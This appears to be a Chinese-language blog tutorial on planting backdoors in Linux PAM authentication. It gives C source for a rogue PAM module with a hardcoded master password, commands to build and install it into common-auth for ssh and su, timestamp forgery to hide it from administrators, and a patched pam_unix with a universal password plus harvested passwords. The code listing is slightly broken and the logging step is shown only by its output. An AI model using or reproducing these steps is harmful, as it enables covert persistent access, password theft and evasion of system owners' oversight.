/  

PAM 模块创建后门

什么是 PAM 模块?

PAM 是一组插件,负责系统中的身份验证。从本质上讲,它是操作系统或应用程序可用于发送用户身份验证请求的 API

PAM 代表可插入身份验证模块;

所有可以使用 PAM 的实用程序和应用程序都会选择它们,并可以使用它们来验证用户身份。

在实践中,它的工作原理是这样的:su 命令调用 PAM,它使用配置文件中指定的模块执行所有必要的检查,并将结果返回给 su 命令。

要使用 PAM,必须编写和编译程序才能使用它。您可以使用 ldd 进行验证。在此示例中,我将测试 sshsu 上的后门。

让我们确保它们使用 PAM 身份验证:

ldd /usr/sbin/sshd | grep libpam.so
	libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)
ldd /bin/su | grep libpam.so
	libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)

太好了,让我们继续。

编写 PAM 后门

让我们创建一个通用密钥来使用主密码进行身份验证。让我们以 Federico Fazzi 的 pambd 为基础。

创建 pambd.c 文件, 不要忘记使用主密码编辑 MYPASSWD 宏:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
define MYPASSWD "my_master_passwd"
PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
    return PAM_SUCCESS;

return -1;

pambd.c网站

我在 Debian 10 中做所有事情。构建需要 libpam-dev 软件包。这就是我们使用 apt 安装它的原因:

sudo apt update && apt install libpam0g-dev

组装我们的模块:

gcc -shared -fPIC -ldl -o pam_bd.so pambd.c

现在,您需要将其放在 PAM 的其余部分之上。就我使用的 Debian x64 而言,这是路径 /lib/x86_64-linux-gnu/security/。

如果你有一个类似 RedHat 的发行版,比如 CentOS 或 Fedora,路径将是 / lib /security/ 或 / lib64/security/ ,具体取决于操作系统是 64 位还是 32 位。对于 Debian x86,路径是 / usr/lib/i386-linux-gnu

复制编译后的模块 pam_bd.so

mv pam_bd.so /lib/x86_64-linux-gnu/security/
file /lib/x86_64-linux-gnu/security/pam_bd.so
/lib/x86_64-linux-gnu/security/pam_bd.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a2a009b87e1aedc42ed54bef1cd861ab822290e9, not stripped

现在您需要修复 pamd 的配置,其文件位于 /etc/pam.d 目录中。例如, 对于 ssh ,它将是 /etc/pam.d/sshd,对于 su,它将是 /etc/pam.d/su。

以前,每个服务配置文件的交互逻辑是单独指定的,但现在较新版本的 Linux 使用配置文件 /etc/pam.d/common-account、/etc/pam.d/common-auth 等的连接,这些文件用于其他服务的 pamd 配置*。*

这只对我们有利。让我们一次性连接用于 ssh 身份验证、su 身份验证和其他所有使用 common-auth @include的模块。

请参阅 /etc/pam.d/common-auth 的内容:

cat /etc/pam.d/common-auth
...
# here are the per-package modules (the "Primary" block)
auth	[success=1 default=ignore]	pam_unix.so nullok_secure
# here's the fallback if no module succeeds
...

我们可以看到pam_unix.so将是第一个连接的。将control_flag *[success=1 default=ignore] *更改为足够,并添加 pam.d 后门。编辑 /etc/pam.d/common-auth 文件:

nano /etc/pam.d/common-auth

我们给它以下形式:

cat /etc/pam.d/common-auth
...
# here are the per-package modules (the "Primary" block)
auth	sufficient	pam_unix.so nullok_secure
auth	sufficient	pam_bd.so
# here's the fallback if no module succeeds
...

使用我们在构建期间指定的 *MYPASSWD *宏中的密码保存并测试 sussh

ssh n0a@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:UL4+UyFTOprFo2YpajAUsdpXsQsR9FtNBNZf3+9KUIM.
Are you sure you want to continue connecting (yes/no)? yes
su:

测试表明,我们的 PAM 后门可以完美运行。剩下的就是掩盖你的踪迹。为此,请更改 pam_bd.socommon-auth 文件的时间戳,以便管理员不会发现任何可疑情况。

检查我们文件的当前时间戳以及彼此相邻的文件:

ls -la /etc/pam.d
итого 120
drwxr-xr-x   2 root root 4096  25 16:26 .
drwxr-xr-x 118 root root 4096  24 13:46 ..
-rw-r--r--   1 root root  384  27  2017 chfn
-rw-r--r--   1 root root   92  27  2017 chpasswd
-rw-r--r--   1 root root  581  27  2017 chsh
-rw-r--r--   1 root root 1251   5 05:01 common-account
-rw-r--r--   1 root root 1232  25 15:59 common-auth
-rw-r--r--   1 root root 1480   5 05:01 common-password
-rw-r--r--   1 root root 1189   5 05:01 common-session
...
ls -la /lib/x86_64-linux-gnu/security/
итого 1276
drwxr-xr-x  2 root root   4096  25 16:11 .
drwxr-xr-x 79 root root  69632  25 14:55 ..
-rw-r--r--  1 root root  18632  14  2019 pam_access.so
-rwxr-xr-x  1 root root  16120 25 15:57 pam_bd.so
-rw-r--r--  1 root root  14400  14  2019 pam_debug.so
-rw-r--r--  1 root root  13968  14  2019 pam_deny.so
-rw-r--r--  1 root root  14368  14  2019 pam_echo.so
...

对于 common-auth,让我们以 common-password 时间为pam_bd.so 时间**是 pam_access.so。 **我们不要忘记将权限设置为 pam_bd.so:

touch -r /etc/pam.d/common-password /etc/pam.d/common-auth
chmod 0644 /lib/x86_64-linux-gnu/security/pam_bd.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_bd.so

检查:

ls -la /etc/pam.d
итого 120
drwxr-xr-x   2 root root 4096  25 16:26 .
drwxr-xr-x 118 root root 4096  24 13:46 ..
-rw-r--r--   1 root root  384  27  2017 chfn
-rw-r--r--   1 root root   92  27  2017 chpasswd
-rw-r--r--   1 root root  581  27  2017 chsh
-rw-r--r--   1 root root 1251   5 05:01 common-account
-rw-r--r--   1 root root 1232   5 05:01 common-auth
-rw-r--r--   1 root root 1480   5 05:01 common-password
-rw-r--r--   1 root root 1189  5 05:01 common-session
...
ls -la /lib/x86_64-linux-gnu/security/
итого 1276
drwxr-xr-x  2 root root   4096  25 16:11 .
drwxr-xr-x 79 root root  69632  25 14:55 ..
-rw-r--r--  1 root root  18632  14  2019 pam_access.so
-rw-r--r--  1 root root  16120  14  2019 pam_bd.so
-rw-r--r--  1 root root  14400  14  2019 pam_debug.so
-rw-r--r--  1 root root  13968  14  2019 pam_deny.so
-rw-r--r--  1 root root  14368  14  2019 pam_echo.so
...

这很酷。现在我们有了自己的 PAM后门 ,非常适合在系统中站稳脚跟。

在 pam_unix.so 中为带有日志记录的书签

如果我们不使用自己的库,而是编译我们自己的原始 **pam_unix.so **版本并添加其他用户输入密码的日志记录怎么办?诱人?同意,让我们开始吧。

要修改 pam_unix.so, 我们需要使用 PAM 源代码。有两种方法可以获取它:

  1. 我们从 github 上的存储库中获取源代码:(https://github.com/linux-pam/linux-pam/releases)
  2. 我们使用 apt 下载当前安装版本的源代码。

我将采用第二种方式,因为在此方案中,我们将直接将代码修改为系统中的版本。

为此,请在源中更新并获取当前安装的 PAM 版本:

sudo apt update
sudo apt install dpkg-dev
sudo apt build-dep pam
apt source pam
cd pam-1.3.1

如您所见,系统中的当前版本是 pam-1.3.1。为了添加密码授权和日志记录,我们需要文件 pam-1.3.1/modules/pam_unix/pam_unix_auth.c。

查找代码(文件 pam_unix_auth.c 的 ~177 行):

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;

pam_unix_auth.c

通过替换 *retval = _unix_verify_password(pamh, name, p, ctrl) *来修改字符串;到我们的代码(这里是通用密码 the-world-is-yours, 你可以用你自己的密码替换它):

nano modules/pam_unix/pam_unix_auth.c
// 
if (strcmp(p, "the-world-is-yours") != 0) {
retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
retval = PAM_SUCCESS;
}

修改 pam_unix_auth.c

它应该看起来像这样:

修改 pam_unix_auth.c

构建“固定”PAM,将 pam_unix.so 复制到 / lib/x86_64-linux-gnu/security/, 更改时间戳:

./configure
make
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so

让我们用密码the-world-is-yours测试一个新的后门:

ssh 192.168.232.138
n0a@192.168.232.138's password:
Linux luks 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Nov 25 19:02:12 2020 from ::1

cat /tmp/.passwd
root:the-world-is-yours
root:t3st#
n0a:the-world-is-yours

成功。现在,我们不仅在本机 PAM 身份验证模块中设置了书签,而且还能够读取密码。


标题:PAM 模块创建后门
作者:qbs
地址:https://www.xiaohongyan.cn/articles/2024/01/12/1705053170930.html
声明:博客上的所内容均可免费使用,可注明归属,注明作者或网址这种行为值得赞赏。